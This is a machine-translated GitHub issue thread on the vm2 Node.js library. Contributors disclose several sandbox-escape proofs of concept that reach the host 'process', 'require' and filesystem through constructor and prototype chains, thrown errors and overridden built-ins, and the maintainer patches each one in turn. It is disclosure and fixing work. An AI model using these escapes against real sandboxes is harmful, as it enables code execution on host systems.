Vm2: VM ์ƒŒ๋“œ๋ฐ•์Šค ํƒˆ์ถœ

์— ๋งŒ๋“  2016๋…„ 06์›” 16์ผ  ยท  64์ฝ”๋ฉ˜ํŠธ  ยท  ์ถœ์ฒ˜: patriksimek/vm2

VM์„ ํƒˆ์ถœํ•˜์—ฌ ๋งค์šฐ ๋ฐ”๋žŒ์งํ•˜์ง€ ์•Š์€ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋…ธ๋“œ์˜ ๊ธฐ๋ณธ VM๊ณผ ๊ด€๋ จํ•˜์—ฌ ๋‹ค์Œ ์š”์ง€๋ฅผ ํ†ตํ•ด ์ฐพ์•˜์Šต๋‹ˆ๋‹ค. https://gist.github.com/domenic/d15dfd8f06ae5d1109b0

๋‹ค์Œ 2๊ฐ€์ง€ ์ฝ”๋“œ ์˜ˆ๋ฅผ ์‚ดํŽด๋ณด์„ธ์š”.

const VM = require('vm2').VM;

const options = {
    sandbox: {}
};

const vm = new VM(options);

vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

๊ทธ๋ฆฌ๊ณ  :

const NodeVM = require('vm2').NodeVM;

const options = {
    console: 'off',
    sandbox: {},
    require: false,
    requireExternal: false,
    requireNative: [],
    requireRoot : "./"
};

const vm = new NodeVM(options);
vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

์ด๋Ÿฌํ•œ ์ถœ๋ ฅ ์ค‘ ํ•˜๋‚˜๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๋‹ค์Œ์ด ์ถœ๋ ฅ๋ฉ๋‹ˆ๋‹ค.

{ dev: 16777220,
  mode: 16877,
  nlink: 14,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 476,
  blocks: 0,
  atime: 2016-06-15T22:20:05.000Z,
  mtime: 2016-06-15T22:19:59.000Z,
  ctime: 2016-06-15T22:19:59.000Z,
  birthtime: 2016-06-09T01:02:12.000Z }

v4.4.5 ๋ฐ v6.2.1 ๋ชจ๋‘์—์„œ ์ด ๋™์ž‘์„ ๊ฒ€์ฆํ–ˆ์Šต๋‹ˆ๋‹ค.

discussion

๊ฐ€์žฅ ์œ ์šฉํ•œ ๋Œ“๊ธ€

์•„์•„! ๋‹น์‹ ์€ ๋ถ™์žก๊ณ ์žˆ์–ด! ;) ์ด๋Ÿฐ ์‹์œผ๋กœ ์ธ๋„ํ•œ ๊ฒƒ์— ๋Œ€ํ•ด ์‚ฌ๊ณผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  ์ฒญ์ค‘์„ ์œ„ํ•ด; node.js์˜ VM ๋ฒ”์œ„ ๋ฌธ์ œ๋Š” ํ˜ธ์ŠคํŠธ ๋ฒ”์œ„์˜ ๊ฐœ์ฒด์— ๋Œ€ํ•œ ์ฐธ์กฐ์— ์žˆ์Šต๋‹ˆ๋‹ค(ํ”„๋กœํ† ํƒ€์ž… ์ฒด์ธ์„ ํ†ตํ•ด ๋ชจ๋“  ํ˜ธ์ŠคํŠธ ๋ฒ”์œ„์— ๋Œ€ํ•œ ์ฐธ์กฐ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Œ).

constructor ์†์„ฑ์„ ์žฌ์ •์˜ํ–ˆ์œผ๋ฏ€๋กœ ์ด์ œ ๊ทธ ์•„๋ž˜๋กœ ์ด๋™ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

๋ชจ๋“  64 ๋Œ“๊ธ€

๋ณด๊ณ ํ•ด ์ฃผ์…”์„œ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์ €๋Š” vm2์˜ ์ƒˆ ๋ฒ„์ „์—์„œ ์—ด์‹ฌํžˆ ์ผํ•˜๊ณ  ์žˆ์œผ๋ฉฐ ์ƒ์„ฑ๋œ ์ปจํ…์ŠคํŠธ ๋‚ด๋ถ€์— ์ปจํ…์ŠคํŠธ๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ์ด ๋ˆ„์ˆ˜๋ฅผ ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ํƒˆ์ถœํ•˜๋Š” ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์ด ์žˆ๋Š”์ง€ ํ™•์‹คํ•˜์ง€ ์•Š์œผ๋ฉฐ ์•„์ง ์ฐพ์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค.

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

์˜ฌ๋ผ๊ฐ€๋ ค๊ณ  ํ–ˆ์ง€๋งŒ true ์ด๋ฏ€๋กœ ๋ถˆ๊ฐ€๋Šฅํ•œ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

์œ„์—์„œ ์–ธ๊ธ‰ํ•œ ์ ‘๊ทผ ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

์ฒซ ๋ฒˆ์งธ ๋ชฉํ‘œ๋Š” ๋‚ด ์‚ฌ์šฉ ์‚ฌ๋ก€์— ํ•„์š”ํ•œ ์ƒŒ๋“œ๋ฐ•์Šค์— ํ•ญ๋ชฉ์„ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ๋„๋ก ๊ท€ํ•˜์˜ ์˜๊ฒฌ์„ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ์ด์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๊ฒƒ์ด ์ž˜๋ชป๋œ ๋ฐฉ๋ฒ•์ด๋ผ๋ฉด ์ €๋ฅผ ์ˆ˜์ •ํ•ด ์ฃผ์„ธ์š”. ํ•˜์ง€๋งŒ ์ด๊ฒƒ์ด ์œ ์ผํ•œ ๋ฐฉ๋ฒ•์ธ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

์ถœ๋ ฅ:

Hello World Inside
Hello World Outside

๋‹ค์Œ์œผ๋กœ VM์„ ํƒˆ์ถœํ•˜๋ ค๊ณ  ๋‹ค์‹œ ์‹œ๋„ํ–ˆ๊ณ  ์„ฑ๊ณตํ–ˆ์Šต๋‹ˆ๋‹ค.

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

์ถœ๋ ฅ:

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

์ƒŒ๋“œ๋ฐ•์Šค์—์„œ ๋‹ค์‹œ ์˜ฌ๋ผ์˜ค๋Š” ๋ฐ ์‚ฌ์šฉ๋˜์ง€ ์•Š๋Š” ์ƒŒ๋“œ๋ฐ•์Šค์— ์•ˆ์ „ํ•˜๊ฒŒ ๋ฌผ๊ฑด์„ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์€ ์—†๋Š” ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐœ์ฒด๋Š” VM์˜ ์ปจํ…์ŠคํŠธ์— ๋งž๊ฒŒ ์ปจํ…์ŠคํŠธํ™”๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋‘ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฐœ์ฒด๋ฅผ ๋”ฅ ํด๋ก ํ•˜๊ฑฐ๋‚˜ ํ”„๋ก์‹œ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ƒˆ๋กœ์šด vm2์—์„œ ํ”„๋ก์‹œ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

https://github.com/patriksimek/vm2/tree/v3

๋‚˜๋Š” ๋‹ค๊ฐ€์˜ค๋Š” ๋ฆด๋ฆฌ์Šค๋ฅผ GH๋กœ ๋ฏธ๋ค˜์Šต๋‹ˆ๋‹ค. ์•„์ง ์ง„ํ–‰ ์ค‘์ด์ง€๋งŒ ์ž‘๋™ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

v3๋„ ์†์ƒ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

์ด ๋‘๋”์ง€ ์žก๊ธฐ ๊ฒŒ์ž„์„ ํ•˜๋Š” ๊ฒƒ์€ ์ผ์ข…์˜ ํ—›๋œ ์ผ์ž…๋‹ˆ๋‹ค.

@parasyte ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์ œ ์ฝ”๋“œ์˜ ์˜คํƒ€๋กœ ์ธํ•ด ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด์ œ ํ•ด๊ฒฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์™ธ๋ฅผ ์žก๋Š” ๊ฒƒ์„ ์žŠ์ง€ ๋งˆ์‹ญ์‹œ์˜ค.

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

@parasyte ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๊ท€ํ•˜์˜ ๊ธฐ์—ฌ์— ์ง„์‹ฌ์œผ๋กœ ๊ฐ์‚ฌ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

๐ŸšŽ +1

@patriksimek ๋ฉ‹์ง€๋„ค์š”!

๋˜ํ•œ ์ปจํ…์ŠคํŠธํ™”๋œ ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ๋ฒ—์–ด๋‚˜๋Š” ๋ฐ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ „์—ญ ๋ฒ”์œ„์˜ ํŠน์ • ๊ฐœ์ฒด์— ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๊ฒƒ์€ VM์— ๊ฐœ์ฒด๋ฅผ ์ „๋‹ฌํ•  ํ•„์š”์กฐ์ฐจ ์—†์Šต๋‹ˆ๋‹ค.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

@๊ธฐ์ƒ์ถฉ ์‰ฟ ! ๋ฐœ๊ฒฌํ•ด์•ผ ํ•  ๋ฒกํ„ฐ๊ฐ€ ๋งŽ์ด ๋‚จ์•„ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

@keyosk ๋„ค, ์•„๋งˆ๋„...

BTW @patriksimek ES6์€ coffeescript๋ณด๋‹ค ํ›จ์”ฌ ๋‚ซ์Šต๋‹ˆ๋‹ค! ๐Ÿ‘

@parasyte ๋‹ค์‹œ ํ•œ ๋ฒˆ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์ œ๊ฐ€ ์ฐพ์€ ๋ฐฑ๋„์–ด์™€ ํ•จ๊ป˜ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
@keyosk ๋‚˜๋Š” ์šฐ๋ฆฌ๊ฐ€ ๊ทธ๊ฒƒ๋“ค์„ ๋ชจ๋‘ ์ฐพ์„ ๊ฒƒ์ด๋ผ๊ณ  ๋ฏฟ์Šต๋‹ˆ๋‹ค.

์ด๊ฑด ์–ด๋•Œ?

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

@parasyte ์ข‹์€ ์บ์น˜, ์ˆ˜์ •ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ฐ์‚ฌ ํ•ด์š”.

์ตœ๊ทผ ํŒจ์น˜์—์„œ ์™„์ „ํžˆ ์ƒˆ๋กœ์šด ์›œ ์บ”์„ ์—ด์—ˆ์Šต๋‹ˆ๋‹ค.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

์  ์žฅ, ๋„ˆ๋ฌด ๋Šฆ๊ฒŒ ์ผํ•ด์„œ ์ดˆ์ ์„ ์žƒ์—ˆ์–ด. ์ฃผ๋กœ ๋‚˜๋ฅผ ์œ„ํ•ด ๋ช‡ ๊ฐ€์ง€ ๋ณด์•ˆ ๋…ธํŠธ๋ฅผ ์ž‘์„ฑํ–ˆ์Šต๋‹ˆ๋‹ค . :)

๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์ˆ˜์ •ํ–ˆ์Šต๋‹ˆ๋‹ค.

๊ธ€์Ž„, ๋‚˜๋Š” ์ง€๊ธˆ๊นŒ์ง€ NodeVM ์‚ดํŽด๋ณด์ง€๋„ ์•Š์•˜๋‹ค! ๋ฌธ์งˆ๋Ÿฌ์•ผ ํ•  ํ‘œ๋ฉด์ ์ด ํ›จ์”ฌ ๋” ๋งŽ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ...

๋ฐ”๋กœ arguments.callee ๋ฅผ ํ†ตํ•œ ํƒˆ์ถœ์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

๊ธ€์Ž„, ์ด๊ฒƒ์€ ์šฐ๋ฆฌ์—๊ฒŒ ์—ฌ๊ธฐ์„œ ์ดˆ๊ธฐ ๋ฌธ์ œ๋ฅผ ์ง€์ ํ•ฉ๋‹ˆ๋‹ค. ๋ถ„๋ช…ํžˆ ์ƒˆ๋กœ์šด ์ปจํ…์ŠคํŠธ ๋‚ด์—์„œ ์ƒ์„ฑ๋œ ์ปจํ…์ŠคํŠธ๋กœ๋Š” ์ถฉ๋ถ„ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์งง์€ ๋ฒ„์ „:

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

์•„์ง ํ•ด๊ฒฐ์ฑ…์„ ์ฐพ์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค. delete process.mainModule ํ˜ธ์ŠคํŠธ๋ฅผ ํŒจ์น˜ํ•  ์ˆ˜๋„ ์žˆ์ง€๋งŒ require ๊นŒ์ง€ ์˜ฌ๋ผ๊ฐ€๋Š” ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค๊ณ  ํ™•์‹ ํ•ฉ๋‹ˆ๋‹ค.

ํ•ด๊ฒฐ์ฑ…์„ ์ฐพ์•˜์Šต๋‹ˆ๋‹ค :-)

์•„์•„! ๋‹น์‹ ์€ ๋ถ™์žก๊ณ ์žˆ์–ด! ;) ์ด๋Ÿฐ ์‹์œผ๋กœ ์ธ๋„ํ•œ ๊ฒƒ์— ๋Œ€ํ•ด ์‚ฌ๊ณผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  ์ฒญ์ค‘์„ ์œ„ํ•ด; node.js์˜ VM ๋ฒ”์œ„ ๋ฌธ์ œ๋Š” ํ˜ธ์ŠคํŠธ ๋ฒ”์œ„์˜ ๊ฐœ์ฒด์— ๋Œ€ํ•œ ์ฐธ์กฐ์— ์žˆ์Šต๋‹ˆ๋‹ค(ํ”„๋กœํ† ํƒ€์ž… ์ฒด์ธ์„ ํ†ตํ•ด ๋ชจ๋“  ํ˜ธ์ŠคํŠธ ๋ฒ”์œ„์— ๋Œ€ํ•œ ์ฐธ์กฐ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Œ).

constructor ์†์„ฑ์„ ์žฌ์ •์˜ํ–ˆ์œผ๋ฏ€๋กœ ์ด์ œ ๊ทธ ์•„๋ž˜๋กœ ์ด๋™ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

์—ฌ๊ธฐ์—์„œ ์•ฝ๊ฐ„์˜ ์กฐ์‚ฌ๋ฅผ ํ•˜๊ณ  global.__proto__ === host.Object.prototype . Object.setPrototypeOf(global, Object.prototype) ๋ฅผ ์ ์šฉํ•˜์—ฌ cricle์„ ๋‹ซ์„ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์‹œ ํ•œ๋ฒˆ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

@parasyte @patriksimek ์ด ์ตœ์‹  npm ๊ฒŒ์‹œ ๋ฒ„์ „์—์„œ ๋‹ซํ˜”์Šต๋‹ˆ๊นŒ?

์˜ˆ, ์ง€๊ธˆ์€ ๋‹ซ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

FWIW, ์šฐ๋ฆฌ๋Š” eval ...๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ  ์ฐธ์กฐ๋ฅผ ์ƒŒ๋“œ๋ฐ•์Šค์— ๋…ธ์ถœํ•˜์ง€ ์•Š๋„๋ก ๋งค์šฐ ์ฃผ์˜ํ•˜์—ฌ ์ด ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ–ˆ์Šต๋‹ˆ๋‹ค.

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

์ด๊ฒƒ์€ return process ๋ฌธ์ž์—ด์„ ํ‰๊ฐ€ํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์— ์ด์Šค์ผ€์ดํ”„๋ฅผ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ ํ•ฉ๋ฒ•์ ์ธ eval() ๋ฐ ํ•จ์ˆ˜ ์ƒ์„ฑ๊ธฐ ์ƒ์„ฑ์ž ํ˜ธ์ถœ๋„ ๋น„ํ™œ์„ฑํ™”๋ฉ๋‹ˆ๋‹ค. (์ด๋Ÿฌํ•œ ๊ธฐ๋Šฅ์˜ ์œ ์šฉ์„ฑ์€ ๋‹ค์†Œ ์˜์‹ฌ์Šค๋Ÿฝ์Šต๋‹ˆ๋‹ค.)

@parasyte ๋Š” ๋ช…ํ™•์„ฑ์„ ์œ„ํ•ด ๋‹ค๋ฅธ ๊ณณ์—์„œ ๊ตฌํ˜„ํ•œ ๊ฒƒ์ž…๋‹ˆ๊นŒ? ์•„๋‹ˆ๋ฉด vm2์— ๊ธฐ์—ฌํ•œ ๊ฒƒ์ด ์žˆ์Šต๋‹ˆ๊นŒ?

@keyscores ์ด๊ฒƒ์€ ๋‹ค๋ฅธ ๊ณณ์—์„œ ๊ตฌํ˜„๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ, ๋‹ค๋ฅธ ๊ณณ์—์„œ. ํ˜„์žฌ ์˜คํ”ˆ ์†Œ์Šค ๋ฆด๋ฆฌ์Šค ์Šน์ธ์„ ๊ธฐ๋‹ค๋ฆฌ๊ณ  ์žˆ๋Š” ์œ ์‚ฌํ•œ ์ƒŒ๋“œ๋ฐ•์Šค ํ”„๋กœ์ ํŠธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ํ˜ผ๋ž€์„ ๋“œ๋ ค ์ฃ„์†กํ•ฉ๋‹ˆ๋‹ค. ๋‚˜๋Š” ๊ทธ ํ”„๋กœ์ ํŠธ์—์„œ ๊ทผ๋ณธ ๋ฌธ์ œ๊ฐ€ ์–ด๋–ป๊ฒŒ ํ•ด๊ฒฐ๋˜์—ˆ๋Š”์ง€ ๋…ผํ‰ํ•˜๊ณ  ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

@parasyte ๋ฆด๋ฆฌ์Šค๋ฅผ ์—…๋ฐ์ดํŠธํ•˜์‹œ๊ฒ ์Šต๋‹ˆ๊นŒ? ๊ตฌํ˜„์„ ๋น„๊ตํ•˜๋Š” ๋ฐ ๊ด€์‹ฌ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋ชจ๋‘๊ฐ€ ์ด๊ธด๋‹ค๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค.

@keyscores ์ฃ„์†กํ•ฉ๋‹ˆ๋‹ค. ์•„์ง ๋ณด๊ณ ํ•  ๋‚ด์šฉ์ด ์—†์Šต๋‹ˆ๋‹ค. ์กฐ์ง์˜ ์ž˜๋ชป๋œ ๊ณ„ํš์œผ๋กœ ์ธํ•ด ์˜คํ”ˆ ์†Œ์Šค ๋…ธ๋ ฅ์˜ ์šฐ์„  ์ˆœ์œ„๊ฐ€ ๋–จ์–ด์กŒ์Šต๋‹ˆ๋‹ค. :\

์ด๊ฒƒ์ด ์ฃฝ์€ ๋ฌธ์ œ๋ผ๋Š” ๊ฒƒ์„ ์•Œ๊ณ  ์žˆ์ง€๋งŒ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ๋•Œ Node์˜ vm ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ๋Œ€ํ•ด ์•Œ๋ ค์ง„ ์šฐํšŒ๊ฐ€ ์žˆ์Šต๋‹ˆ๊นŒ?

javascript vm.runInNewContext("arbitrary user input here", Object.create(null))

@parasyte : ๊ทธ๋ƒฅ ํ˜ธ๊ธฐ์‹ฌ์—, ์‹คํ–‰ํ•˜๊ธฐ ์ „์— ์™ธ๋ถ€ ์ฝ”๋“œ ์ƒ๋‹จ์— global.eval = null; ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ eval์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ์ด ์–ด๋–ป์Šต๋‹ˆ๊นŒ?

@Eric24 ์ข‹์€ ์งˆ๋ฌธ์ž…๋‹ˆ๋‹ค! ์ด ํ”„๋ ˆ์  ํ…Œ์ด์…˜์€ ๊ทธ ์ด์œ ๋ฅผ ์ž์„ธํžˆ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค: https://vimeo.com/191757364 ๋ฐ ์Šฌ๋ผ์ด๋“œ ๋ฐํฌ: https://goo.gl/KxiG73

๊ฐ€์žฅ ์ค‘์š”ํ•œ ์ ์€ JavaScript์—์„œ eval() ๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ์—ฌ๋Ÿฌ ๊ฐ€์ง€๊ฐ€ ์žˆ์œผ๋ฉฐ global.eval ๋ฐ”๊พธ๋Š” ๊ฒƒ์€ ๊ทธ ์ค‘ ํ•˜๋‚˜์ผ ๋ฟ์ž…๋‹ˆ๋‹ค. ์ „์ฒด ๋ชฉ๋ก์„ ์‚ดํŽด๋ณผ ๋•Œ์ฏค์ด๋ฉด GeneratorFunction์œผ๋กœ ํ‰๊ฐ€ํŒ์„ ์›์ˆญ์ด ํŒจ์น˜ํ•˜๋Š” ๊ฒƒ์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๊ฒŒ ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์—ฌ๊ธฐ์—๋Š” eval() ๊ฐ€ ํ–ฅํ›„ ES ๋ณ€๊ฒฝ ์‚ฌํ•ญ์— ์˜ํ•ด ๋…ธ์ถœ๋  ์ˆ˜ ์žˆ๋Š” ๋ฌด์ˆ˜ํ•œ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์ด ํฌํ•จ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์œ ์ผํ•œ ์†”๋ฃจ์…˜์€ C++๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ V8์—์„œ ํ‰๊ฐ€๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

@parasyte : ์™„๋ฒฝํ•ฉ๋‹ˆ๋‹ค(ํ”„๋ ˆ์  ํ…Œ์ด์…˜์— ๊ฐ์‚ฌ๋“œ๋ฆฝ๋‹ˆ๋‹ค). ๋”ฐ๋ผ์„œ C++ ์ฝ”๋“œ๊ฐ€ vm ๋˜๋Š” "ํ˜ธ์ŠคํŠธ ํ”„๋กœ์„ธ์Šค"์—์„œ๋„ eval์„ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๊นŒ?

